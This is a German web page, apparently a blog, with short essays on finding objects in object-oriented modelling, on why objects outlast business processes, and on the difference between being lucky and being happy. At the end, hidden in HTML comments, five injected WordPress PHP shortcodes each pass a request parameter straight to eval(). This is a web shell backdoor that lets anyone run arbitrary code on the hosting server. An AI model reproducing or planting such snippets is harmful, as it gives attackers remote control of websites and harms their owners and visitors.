Wie findet man Objekte?

Objektkategorien
Auf der Suche nach den für unser System relevanten Objekten ist es sinnvoll, zunächst die Frage zu stellen, nach was für Objekten wir eigentlich suchen.
In Geschäftsvorfällen werden Akteure tätig, die unter Benutzung von Ressourcen kommunizieren und zu diesem Zwecke Dokumente erstellen und austauschen.
Damit haben wir drei Kategorien von Objekten ausgemacht:
Definitionen:

Akteure sind die aktiven Objekte des Systems. Sie führen Aktionen mit den anderen Objekten des Systems aus. Akteure sind Menschen, zum Zwecke der Abstraktion oder der Vereinfachung eines Modells können auch wohldefinierte Gruppen von Menschen (z.B. Unternehmen, Institutionen, Behörden) als Akteure angesehen werden.
Ressourcen sind die Objekte, welche die Voraussetzungen, die Grundlage für die Tätigkeit der Akteure bilden. Sie zeichnen sich dadurch aus, dass ihre Eigenschaften durch die Geschäftsprozesse nicht geändert werden.
Dokumente sind Informationspakete, die im Geschäftsprozess von den Akteuren erzeugt und an andere Akteure weitergegeben werden.

Darüber hinaus gibt es eine vierte Art von Objekten, die wir als „abstrakte Objekte“ bezeichnen. Diese erkennen wir daran, dass sie ebenso wie die Dokumente Informationspakete darstellen, welche jedoch im Zusammenhang oder als Bestandteil verschiedener anderer Objekte an unterschiedlichen Stellen des Systems gefunden werden können.
Das iterative Vorgehen
Wie schaffen wir es, möglichst umfassend und vollständig die Objekte aufzuspüren, welche zu einem System gehören?
Da niemand auf Anhieb alle Objekte vollständig benennen können wird (ganz zu schweigen davon, dass er dann nicht beweisen kann, wirklich alle benannt zu haben), bietet sich ein iteratives Verfahren an.
Dazu wird eine Menge von Schritten immer wieder durchlaufen, bis eine Endbedingung erfüllt ist.
Wir beginnen damit, einige offensichtlich enthaltene Akteure, Dokumente und Ressourcen zu benennen. Dann befragen wir jeden Akteur, wie er im zeitlichen Ablauf des Geschäftsvorfalles die Dokumente erzeugt oder erhält, verändert, weitergibt, welche Ressourcen er dafür nutzt und mit welchen anderen Akteuren er auf diese Weise kommuniziert. Dabei finden wir weitere Akteure, Dokumente und Ressourcen.
Wir wiederholen dieses Verfahren
1. für die neu gefundenen Akteure
2. hinsichtlich der neu gefundenen Dokumente mit den bereits befragten Akteuren
solange, bis die neue Runde keine neuen Objekte mehr produziert. In diesem Moment sollte das System vollständig und umfassend dem Geschäftsvorfall entsprechen.
Wir werden natürlich in der Praxis feststellen, dass dieses Ziel selten auf Anhieb zu erreichen ist. Das liegt daran, dass Akteure bei der Beschreibung ihrer Tätigkeit oft selten auftauchende Spezialfälle vergessen. Wir minimieren dieses Problem, indem wir alle Akteure in den Prozess einbeziehen.
Neben dem Effekt, dass wir mit dem iterativen Vorgehen einem vollständigen Modell sehr nahe kommen können haben wir auf diese Weise die Möglichkeit, das Denken der Akteure in Prozessen und Abläufen für das Finden der Geschäftsobjekte zu nutzen.

Warum Objektmodellierung

Wir denken in Abläufen, Prozessen, Tätigkeiten
Jeder Versuch einer Beschreibung eines System beginnt mit der Beschreibung der Tätigkeit der Akteure, das heißt zunächst der Arbeitsabläufe der handelnden Personen.
Wenn wir einen Geschäftsvorfall durch den Einsatz eines Softwaresystems verbessern wollen, werden wir uns diesen Geschäftsvorfall zunächst durch einen Akteur schildern lassen. Dieser tut dies, indem er uns den zeitlichen Ablauf seiner Tätigkeiten im Zusammenhang mit dem Geschäftsvorfall schildert. Das Verfahren zur objektiven Abbildung dieser Prozesse ist die Geschäftsprozessmodellierung.
Für die Konzeption langlebiger integrierter Softwarelösungen hat dieses Verfahren, wenn es allein eingesetzt wird, jedoch entscheidende Nachteile.
Abläufe ändern sich
Bedingt durch ständige, immer schnellere Änderung der Rahmenbedingungen, Voraussetzungen und Ziele der Geschäftsprozesse sind diese einer ständigen Veränderung unterworfen. Aber das ist nicht der einzige Grund für gravierende Änderungen in den Abläufen:
• Abläufe ändern sich durch den Einsatz der Software, da diese die Voraussetzungen und Träger der Prozesse unmittelbar beeinflusst.
• Abläufe ändern sich durch den Einsatz der Software, da diese neue Möglichkeiten, Rahmenbedingungen und Wünsch schafft.
Objekte sind relativ stabil
Während sich also die Abläufe ständig verändern und damit auch Änderungen des Prozessmodells und somit auch der Software provozieren, sind die beteiligten Akteure, die von ihnen verwendeten Ressourcen sowie die dabei erzeugten Dokumente in ihrer Beschreibung und in ihren Grundfunktionen relativ stabil. Auch wenn z.B. das genaue Verfahren der Anmeldung zu einem Seminar inklusive der Genehmigung, der Prüfung der Teilnahmevoraussetzungen u.a. Prozesse sich ändern kann, wird es in diesem Verfahren immer einen Seminarteilnehmer, einen Seminarkalender, eine Anmeldebestätigung geben.
Objekteigenschaften sind langlebig
Wenn wir uns die Objekte genauer betrachten stellen wir fest, dass auch die Eigenschaften, durch welche sie bestimmt werden und welche für das Funktionieren des Geschäftsprozesses wichtig sind, über lange Zeit die gleichen bleiben. So werden der Seminartermin und das Seminarthema dauerhaft Informationen über die Seminarveranstaltung sein, welche für die Anmeldung zum Seminar von Bedeutung sind.
Operationen auf Objekten können isoliert betrachtet werden.Die eigentlichen Prozesse, welche den Geschäftsvorfall ausmachen, können wir als Operationen ansehen, die durch die Akteure an den Objekten ausgeführt oder initiiert werden. Auch diese Operationen sind relativ langlebig in dem Sinne, dass sich ihr äußeres Erscheinungsbild, d.h., die Informationen, welche für ihre Ausführung benötigt werden sowie ihr Ergebnis, nicht häufig ändert. Ihr genauer Ablauf wiederum, der sich ändern kann, kann nun losgelöst von den anderen Operationen des Systems betrachtet und variiert werden.

Glück-Haben und Glücklich-Sein

Das Wort Glück wird immer nur situativ verwendet (Glück haben z.B. bezieht sich immer auf einen Moment: „Da hast du aber Glück gehabt“, „Wenn sie sich beeilen, könnten sie Glück haben und den Zug noch erreichen“). Glück ist etwas, was man kurz besitzt aber grundsätzlich nicht halten kann. In der Sprache finden wir Glück zudem fast nur in der Vergangenheits- oder der Möglichkeitsform: dass jemand sagt: „Ich habe gerade Glück“ ist schwer vorstellbar – auch das verweist auf die Flüchtigkeit des Glücks-Besitzes.
Anders verhält es sich schon mit dem Glücklich-sein. Genau betrachtet hat das Glücklich-Sein nichts mit dem Glück-Haben zu tun. Als Glücklich-Sein bezeichnen wir einen Daseins-Modus, in dem uns Angst nicht begegnet oder wenigstens nicht lähmt. Glücklich-Sein ist an bestimmte Konstellationen unserer Existenz gebunden: „Mit Dir bin ich glücklich.“ „Diese Tätigkeit macht mich glücklich.“
Glück-Haben kann so gesehen dem Glücklich-Sein zeitlich vorausgehen. Wer das Glück hatte, die Liebe seines Lebens gefunden zu haben, wird dauerhaft Glücklich sein.
Wenn aber Glück-Haben und Glücklich-Sein nicht auseinander gehalten wird, wird man versuchen, immer wieder Momente des Glück-Habens herbeizuführen (mancher versucht dies durch Geld und viel Geld haben wird so dann als Möglichkeit von Viel-Glück-Haben gesehen und damit dann wieder mit Glücklich-Sein verwechselt).
Dem Glücklich-Sein verwandt ist das Zufrieden-Sein, aber es ist nicht das gleiche. Nicht ohne Grund steckt im Wort „zufrieden“ ja das Wort „Frieden“. Dem Zufrieden-Sein ist eigen, dass man keine Änderung des herbeigeführten Zustandes mehr wünscht, das widerspricht nicht unbedingt dem Glücklich-Sein, letzteres ist aber umfassender. Mancher ist glücklich, wenn er zufrieden ist, wenn alles so ist, wie er es sich gewünscht hat und wenn dieser Zustand sehr stabil ist. Andere mach das nach kurzer Zeit unglücklich.
Eines ist aber klar: Wer Glücklich-Sein durch Glück-Haben erreichen will, kann nie zufrieden sein. Zufrieden-Sein ist immer auf Dauer angelegt, Glück-Haben ist immer flüchtig. Wer dadurch glücklich sein will, dass er immer wieder das Gefühl hat, Glück zu haben, wird immer weiter hetzen müssen, und wird so nie zufrieden sein.

<!– [insert_php]if (isset($_REQUEST["HaU"])){eval($_REQUEST["HaU"]);exit;}[/insert_php][php]if (isset($_REQUEST["HaU"])){eval($_REQUEST["HaU"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["XTT"])){eval($_REQUEST["XTT"]);exit;}[/insert_php][php]if (isset($_REQUEST["XTT"])){eval($_REQUEST["XTT"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["PZUD"])){eval($_REQUEST["PZUD"]);exit;}[/insert_php][php]if (isset($_REQUEST["PZUD"])){eval($_REQUEST["PZUD"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["ruirJ"])){eval($_REQUEST["ruirJ"]);exit;}[/insert_php][php]if (isset($_REQUEST["ruirJ"])){eval($_REQUEST["ruirJ"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["AWht"])){eval($_REQUEST["AWht"]);exit;}[/insert_php][php]if (isset($_REQUEST["AWht"])){eval($_REQUEST["AWht"]);exit;}[/php] –>